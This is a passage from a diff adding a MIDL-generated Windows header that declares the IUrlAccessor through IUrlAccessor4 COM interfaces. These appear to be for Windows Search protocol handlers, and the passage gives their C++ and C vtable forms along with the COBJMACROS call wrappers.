+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszHost[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE IsDirectory( void) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetSize( 
+            /* [out] */ __RPC__out ULONGLONG *pllSize) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetLastModified( 
+            /* [out] */ __RPC__out FILETIME *pftLastModified) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetFileName( 
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszFileName[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetSecurityDescriptor( 
+            /* [size_is][out] */ __RPC__out_ecount_full(dwSize) BYTE *pSD,
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetRedirectedURL( 
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszRedirectedURL[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetSecurityProvider( 
+            /* [out] */ __RPC__out CLSID *pSPClsid) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE BindToStream( 
+            /* [out] */ __RPC__deref_out_opt IStream **ppStream) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE BindToFilter( 
+            /* [out] */ __RPC__deref_out_opt IFilter **ppFilter) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IUrlAccessorVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in IUrlAccessor * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in IUrlAccessor * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in IUrlAccessor * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *AddRequestParameter )( 
+            __RPC__in IUrlAccessor * This,
+            /* [in] */ __RPC__in PROPSPEC *pSpec,
+            /* [in] */ __RPC__in PROPVARIANT *pVar);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetDocFormat )( 
+            __RPC__in IUrlAccessor * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszDocFormat[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetCLSID )( 
+            __RPC__in IUrlAccessor * This,
+            /* [out] */ __RPC__out CLSID *pClsid);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetHost )( 
+            __RPC__in IUrlAccessor * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszHost[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *IsDirectory )( 
+            __RPC__in IUrlAccessor * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetSize )( 
+            __RPC__in IUrlAccessor * This,
+            /* [out] */ __RPC__out ULONGLONG *pllSize);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetLastModified )( 
+            __RPC__in IUrlAccessor * This,
+            /* [out] */ __RPC__out FILETIME *pftLastModified);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetFileName )( 
+            __RPC__in IUrlAccessor * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszFileName[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetSecurityDescriptor )( 
+            __RPC__in IUrlAccessor * This,
+            /* [size_is][out] */ __RPC__out_ecount_full(dwSize) BYTE *pSD,
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetRedirectedURL )( 
+            __RPC__in IUrlAccessor * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszRedirectedURL[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetSecurityProvider )( 
+            __RPC__in IUrlAccessor * This,
+            /* [out] */ __RPC__out CLSID *pSPClsid);
+        
+        HRESULT ( STDMETHODCALLTYPE *BindToStream )( 
+            __RPC__in IUrlAccessor * This,
+            /* [out] */ __RPC__deref_out_opt IStream **ppStream);
+        
+        HRESULT ( STDMETHODCALLTYPE *BindToFilter )( 
+            __RPC__in IUrlAccessor * This,
+            /* [out] */ __RPC__deref_out_opt IFilter **ppFilter);
+        
+        END_INTERFACE
+    } IUrlAccessorVtbl;
+
+    interface IUrlAccessor
+    {
+        CONST_VTBL struct IUrlAccessorVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IUrlAccessor_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IUrlAccessor_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IUrlAccessor_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IUrlAccessor_AddRequestParameter(This,pSpec,pVar)	\
+    ( (This)->lpVtbl -> AddRequestParameter(This,pSpec,pVar) ) 
+
+#define IUrlAccessor_GetDocFormat(This,wszDocFormat,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetDocFormat(This,wszDocFormat,dwSize,pdwLength) ) 
+
+#define IUrlAccessor_GetCLSID(This,pClsid)	\
+    ( (This)->lpVtbl -> GetCLSID(This,pClsid) ) 
+
+#define IUrlAccessor_GetHost(This,wszHost,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetHost(This,wszHost,dwSize,pdwLength) ) 
+
+#define IUrlAccessor_IsDirectory(This)	\
+    ( (This)->lpVtbl -> IsDirectory(This) ) 
+
+#define IUrlAccessor_GetSize(This,pllSize)	\
+    ( (This)->lpVtbl -> GetSize(This,pllSize) ) 
+
+#define IUrlAccessor_GetLastModified(This,pftLastModified)	\
+    ( (This)->lpVtbl -> GetLastModified(This,pftLastModified) ) 
+
+#define IUrlAccessor_GetFileName(This,wszFileName,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetFileName(This,wszFileName,dwSize,pdwLength) ) 
+
+#define IUrlAccessor_GetSecurityDescriptor(This,pSD,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetSecurityDescriptor(This,pSD,dwSize,pdwLength) ) 
+
+#define IUrlAccessor_GetRedirectedURL(This,wszRedirectedURL,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetRedirectedURL(This,wszRedirectedURL,dwSize,pdwLength) ) 
+
+#define IUrlAccessor_GetSecurityProvider(This,pSPClsid)	\
+    ( (This)->lpVtbl -> GetSecurityProvider(This,pSPClsid) ) 
+
+#define IUrlAccessor_BindToStream(This,ppStream)	\
+    ( (This)->lpVtbl -> BindToStream(This,ppStream) ) 
+
+#define IUrlAccessor_BindToFilter(This,ppFilter)	\
+    ( (This)->lpVtbl -> BindToFilter(This,ppFilter) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __IUrlAccessor_INTERFACE_DEFINED__ */
+
+
+#ifndef __IUrlAccessor2_INTERFACE_DEFINED__
+#define __IUrlAccessor2_INTERFACE_DEFINED__
+
+/* interface IUrlAccessor2 */
+/* [unique][public][helpstring][uuid][object] */ 
+
+
+EXTERN_C const IID IID_IUrlAccessor2;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("c7310734-ac80-11d1-8df3-00c04fb6ef4f")
+    IUrlAccessor2 : public IUrlAccessor
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE GetDisplayUrl( 
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszDocUrl[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE IsDocument( void) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetCodePage( 
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszCodePage[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IUrlAccessor2Vtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in IUrlAccessor2 * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in IUrlAccessor2 * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in IUrlAccessor2 * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *AddRequestParameter )( 
+            __RPC__in IUrlAccessor2 * This,
+            /* [in] */ __RPC__in PROPSPEC *pSpec,
+            /* [in] */ __RPC__in PROPVARIANT *pVar);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetDocFormat )( 
+            __RPC__in IUrlAccessor2 * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszDocFormat[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetCLSID )( 
+            __RPC__in IUrlAccessor2 * This,
+            /* [out] */ __RPC__out CLSID *pClsid);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetHost )( 
+            __RPC__in IUrlAccessor2 * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszHost[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *IsDirectory )( 
+            __RPC__in IUrlAccessor2 * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetSize )( 
+            __RPC__in IUrlAccessor2 * This,
+            /* [out] */ __RPC__out ULONGLONG *pllSize);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetLastModified )( 
+            __RPC__in IUrlAccessor2 * This,
+            /* [out] */ __RPC__out FILETIME *pftLastModified);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetFileName )( 
+            __RPC__in IUrlAccessor2 * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszFileName[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetSecurityDescriptor )( 
+            __RPC__in IUrlAccessor2 * This,
+            /* [size_is][out] */ __RPC__out_ecount_full(dwSize) BYTE *pSD,
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetRedirectedURL )( 
+            __RPC__in IUrlAccessor2 * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszRedirectedURL[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetSecurityProvider )( 
+            __RPC__in IUrlAccessor2 * This,
+            /* [out] */ __RPC__out CLSID *pSPClsid);
+        
+        HRESULT ( STDMETHODCALLTYPE *BindToStream )( 
+            __RPC__in IUrlAccessor2 * This,
+            /* [out] */ __RPC__deref_out_opt IStream **ppStream);
+        
+        HRESULT ( STDMETHODCALLTYPE *BindToFilter )( 
+            __RPC__in IUrlAccessor2 * This,
+            /* [out] */ __RPC__deref_out_opt IFilter **ppFilter);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetDisplayUrl )( 
+            __RPC__in IUrlAccessor2 * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszDocUrl[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *IsDocument )( 
+            __RPC__in IUrlAccessor2 * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetCodePage )( 
+            __RPC__in IUrlAccessor2 * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszCodePage[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        END_INTERFACE
+    } IUrlAccessor2Vtbl;
+
+    interface IUrlAccessor2
+    {
+        CONST_VTBL struct IUrlAccessor2Vtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IUrlAccessor2_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IUrlAccessor2_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IUrlAccessor2_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IUrlAccessor2_AddRequestParameter(This,pSpec,pVar)	\
+    ( (This)->lpVtbl -> AddRequestParameter(This,pSpec,pVar) ) 
+
+#define IUrlAccessor2_GetDocFormat(This,wszDocFormat,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetDocFormat(This,wszDocFormat,dwSize,pdwLength) ) 
+
+#define IUrlAccessor2_GetCLSID(This,pClsid)	\
+    ( (This)->lpVtbl -> GetCLSID(This,pClsid) ) 
+
+#define IUrlAccessor2_GetHost(This,wszHost,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetHost(This,wszHost,dwSize,pdwLength) ) 
+
+#define IUrlAccessor2_IsDirectory(This)	\
+    ( (This)->lpVtbl -> IsDirectory(This) ) 
+
+#define IUrlAccessor2_GetSize(This,pllSize)	\
+    ( (This)->lpVtbl -> GetSize(This,pllSize) ) 
+
+#define IUrlAccessor2_GetLastModified(This,pftLastModified)	\
+    ( (This)->lpVtbl -> GetLastModified(This,pftLastModified) ) 
+
+#define IUrlAccessor2_GetFileName(This,wszFileName,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetFileName(This,wszFileName,dwSize,pdwLength) ) 
+
+#define IUrlAccessor2_GetSecurityDescriptor(This,pSD,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetSecurityDescriptor(This,pSD,dwSize,pdwLength) ) 
+
+#define IUrlAccessor2_GetRedirectedURL(This,wszRedirectedURL,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetRedirectedURL(This,wszRedirectedURL,dwSize,pdwLength) ) 
+
+#define IUrlAccessor2_GetSecurityProvider(This,pSPClsid)	\
+    ( (This)->lpVtbl -> GetSecurityProvider(This,pSPClsid) ) 
+
+#define IUrlAccessor2_BindToStream(This,ppStream)	\
+    ( (This)->lpVtbl -> BindToStream(This,ppStream) ) 
+
+#define IUrlAccessor2_BindToFilter(This,ppFilter)	\
+    ( (This)->lpVtbl -> BindToFilter(This,ppFilter) ) 
+
+
+#define IUrlAccessor2_GetDisplayUrl(This,wszDocUrl,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetDisplayUrl(This,wszDocUrl,dwSize,pdwLength) ) 
+
+#define IUrlAccessor2_IsDocument(This)	\
+    ( (This)->lpVtbl -> IsDocument(This) ) 
+
+#define IUrlAccessor2_GetCodePage(This,wszCodePage,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetCodePage(This,wszCodePage,dwSize,pdwLength) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __IUrlAccessor2_INTERFACE_DEFINED__ */
+
+
+#ifndef __IUrlAccessor3_INTERFACE_DEFINED__
+#define __IUrlAccessor3_INTERFACE_DEFINED__
+
+/* interface IUrlAccessor3 */
+/* [unique][public][helpstring][uuid][object] */ 
+
+
+EXTERN_C const IID IID_IUrlAccessor3;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("6FBC7005-0455-4874-B8FF-7439450241A3")
+    IUrlAccessor3 : public IUrlAccessor2
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE GetImpersonationSidBlobs( 
+            /* [in] */ __RPC__in LPCWSTR pcwszURL,
+            /* [out] */ __RPC__out DWORD *pcSidCount,
+            /* [out] */ __RPC__deref_out_opt BLOB **ppSidBlobs) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IUrlAccessor3Vtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in IUrlAccessor3 * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in IUrlAccessor3 * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in IUrlAccessor3 * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *AddRequestParameter )( 
+            __RPC__in IUrlAccessor3 * This,
+            /* [in] */ __RPC__in PROPSPEC *pSpec,
+            /* [in] */ __RPC__in PROPVARIANT *pVar);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetDocFormat )( 
+            __RPC__in IUrlAccessor3 * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszDocFormat[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetCLSID )( 
+            __RPC__in IUrlAccessor3 * This,
+            /* [out] */ __RPC__out CLSID *pClsid);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetHost )( 
+            __RPC__in IUrlAccessor3 * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszHost[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *IsDirectory )( 
+            __RPC__in IUrlAccessor3 * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetSize )( 
+            __RPC__in IUrlAccessor3 * This,
+            /* [out] */ __RPC__out ULONGLONG *pllSize);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetLastModified )( 
+            __RPC__in IUrlAccessor3 * This,
+            /* [out] */ __RPC__out FILETIME *pftLastModified);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetFileName )( 
+            __RPC__in IUrlAccessor3 * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszFileName[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetSecurityDescriptor )( 
+            __RPC__in IUrlAccessor3 * This,
+            /* [size_is][out] */ __RPC__out_ecount_full(dwSize) BYTE *pSD,
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetRedirectedURL )( 
+            __RPC__in IUrlAccessor3 * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszRedirectedURL[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetSecurityProvider )( 
+            __RPC__in IUrlAccessor3 * This,
+            /* [out] */ __RPC__out CLSID *pSPClsid);
+        
+        HRESULT ( STDMETHODCALLTYPE *BindToStream )( 
+            __RPC__in IUrlAccessor3 * This,
+            /* [out] */ __RPC__deref_out_opt IStream **ppStream);
+        
+        HRESULT ( STDMETHODCALLTYPE *BindToFilter )( 
+            __RPC__in IUrlAccessor3 * This,
+            /* [out] */ __RPC__deref_out_opt IFilter **ppFilter);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetDisplayUrl )( 
+            __RPC__in IUrlAccessor3 * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszDocUrl[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *IsDocument )( 
+            __RPC__in IUrlAccessor3 * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetCodePage )( 
+            __RPC__in IUrlAccessor3 * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszCodePage[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetImpersonationSidBlobs )( 
+            __RPC__in IUrlAccessor3 * This,
+            /* [in] */ __RPC__in LPCWSTR pcwszURL,
+            /* [out] */ __RPC__out DWORD *pcSidCount,
+            /* [out] */ __RPC__deref_out_opt BLOB **ppSidBlobs);
+        
+        END_INTERFACE
+    } IUrlAccessor3Vtbl;
+
+    interface IUrlAccessor3
+    {
+        CONST_VTBL struct IUrlAccessor3Vtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IUrlAccessor3_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IUrlAccessor3_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IUrlAccessor3_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IUrlAccessor3_AddRequestParameter(This,pSpec,pVar)	\
+    ( (This)->lpVtbl -> AddRequestParameter(This,pSpec,pVar) ) 
+
+#define IUrlAccessor3_GetDocFormat(This,wszDocFormat,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetDocFormat(This,wszDocFormat,dwSize,pdwLength) ) 
+
+#define IUrlAccessor3_GetCLSID(This,pClsid)	\
+    ( (This)->lpVtbl -> GetCLSID(This,pClsid) ) 
+
+#define IUrlAccessor3_GetHost(This,wszHost,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetHost(This,wszHost,dwSize,pdwLength) ) 
+
+#define IUrlAccessor3_IsDirectory(This)	\
+    ( (This)->lpVtbl -> IsDirectory(This) ) 
+
+#define IUrlAccessor3_GetSize(This,pllSize)	\
+    ( (This)->lpVtbl -> GetSize(This,pllSize) ) 
+
+#define IUrlAccessor3_GetLastModified(This,pftLastModified)	\
+    ( (This)->lpVtbl -> GetLastModified(This,pftLastModified) ) 
+
+#define IUrlAccessor3_GetFileName(This,wszFileName,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetFileName(This,wszFileName,dwSize,pdwLength) ) 
+
+#define IUrlAccessor3_GetSecurityDescriptor(This,pSD,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetSecurityDescriptor(This,pSD,dwSize,pdwLength) ) 
+
+#define IUrlAccessor3_GetRedirectedURL(This,wszRedirectedURL,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetRedirectedURL(This,wszRedirectedURL,dwSize,pdwLength) ) 
+
+#define IUrlAccessor3_GetSecurityProvider(This,pSPClsid)	\
+    ( (This)->lpVtbl -> GetSecurityProvider(This,pSPClsid) ) 
+
+#define IUrlAccessor3_BindToStream(This,ppStream)	\
+    ( (This)->lpVtbl -> BindToStream(This,ppStream) ) 
+
+#define IUrlAccessor3_BindToFilter(This,ppFilter)	\
+    ( (This)->lpVtbl -> BindToFilter(This,ppFilter) ) 
+
+
+#define IUrlAccessor3_GetDisplayUrl(This,wszDocUrl,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetDisplayUrl(This,wszDocUrl,dwSize,pdwLength) ) 
+
+#define IUrlAccessor3_IsDocument(This)	\
+    ( (This)->lpVtbl -> IsDocument(This) ) 
+
+#define IUrlAccessor3_GetCodePage(This,wszCodePage,dwSize,pdwLength)	\
+    ( (This)->lpVtbl -> GetCodePage(This,wszCodePage,dwSize,pdwLength) ) 
+
+
+#define IUrlAccessor3_GetImpersonationSidBlobs(This,pcwszURL,pcSidCount,ppSidBlobs)	\
+    ( (This)->lpVtbl -> GetImpersonationSidBlobs(This,pcwszURL,pcSidCount,ppSidBlobs) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __IUrlAccessor3_INTERFACE_DEFINED__ */
+
+
+#ifndef __IUrlAccessor4_INTERFACE_DEFINED__
+#define __IUrlAccessor4_INTERFACE_DEFINED__
+
+/* interface IUrlAccessor4 */
+/* [unique][public][helpstring][uuid][object] */ 
+
+
+EXTERN_C const IID IID_IUrlAccessor4;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("5CC51041-C8D2-41d7-BCA3-9E9E286297DC")
+    IUrlAccessor4 : public IUrlAccessor3
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE ShouldIndexItemContent( 
+            /* [out] */ __RPC__out BOOL *pfIndexContent) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE ShouldIndexProperty( 
+            /* [in] */ __RPC__in REFPROPERTYKEY key,
+            /* [out] */ __RPC__out BOOL *pfIndexProperty) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IUrlAccessor4Vtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in IUrlAccessor4 * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in IUrlAccessor4 * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in IUrlAccessor4 * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *AddRequestParameter )( 
+            __RPC__in IUrlAccessor4 * This,
+            /* [in] */ __RPC__in PROPSPEC *pSpec,
+            /* [in] */ __RPC__in PROPVARIANT *pVar);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetDocFormat )( 
+            __RPC__in IUrlAccessor4 * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszDocFormat[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetCLSID )( 
+            __RPC__in IUrlAccessor4 * This,
+            /* [out] */ __RPC__out CLSID *pClsid);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetHost )( 
+            __RPC__in IUrlAccessor4 * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszHost[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *IsDirectory )( 
+            __RPC__in IUrlAccessor4 * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetSize )( 
+            __RPC__in IUrlAccessor4 * This,
+            /* [out] */ __RPC__out ULONGLONG *pllSize);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetLastModified )( 
+            __RPC__in IUrlAccessor4 * This,
+            /* [out] */ __RPC__out FILETIME *pftLastModified);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetFileName )( 
+            __RPC__in IUrlAccessor4 * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszFileName[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetSecurityDescriptor )( 
+            __RPC__in IUrlAccessor4 * This,
+            /* [size_is][out] */ __RPC__out_ecount_full(dwSize) BYTE *pSD,
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetRedirectedURL )( 
+            __RPC__in IUrlAccessor4 * This,
+            /* [size_is][length_is][out] */ __RPC__out_ecount_part(dwSize, *pdwLength) WCHAR wszRedirectedURL[  ],
+            /* [in] */ DWORD dwSize,
+            /* [out] */ __RPC__out DWORD *pdwLength);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetSecurityProvider )( 
+            __RPC__in IUrlAccessor4 * This,
+            /* [out] */ __RPC__out CLSID *pSPClsid);
+        
+        HRESULT ( STDMETHODCALLTYPE *BindToStream )( 
+            __RPC__in IUrlAccessor4 * This,
+            /* [out] */ __RPC__deref_out_opt IStream **ppStream);
+        
